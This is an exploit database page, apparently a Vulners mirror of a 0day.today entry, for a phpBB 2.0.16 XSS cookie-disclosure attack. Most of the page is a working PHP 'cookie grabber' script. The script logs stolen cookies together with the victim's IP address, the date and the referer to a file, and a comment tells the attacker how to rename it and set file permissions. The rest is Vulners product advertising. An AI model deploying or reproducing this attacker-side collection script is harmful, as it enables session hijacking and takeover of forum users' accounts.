Lucene search
K

phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit (cookie grabber)

🗓️ 13 Jul 2005 00:00:00Reported by Sjaak RakeType 
zdt
 zdt
🔗 0day.today👁 67 Views

phpBB 2.0.16 XSS Remote Cookie Disclosure Exploi

Code
=====================================================================
phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit (cookie grabber)
=====================================================================




<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

//rename it to cookies.php and create one new file steal.php and chmod it to 777



#  0day.today [2018-01-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation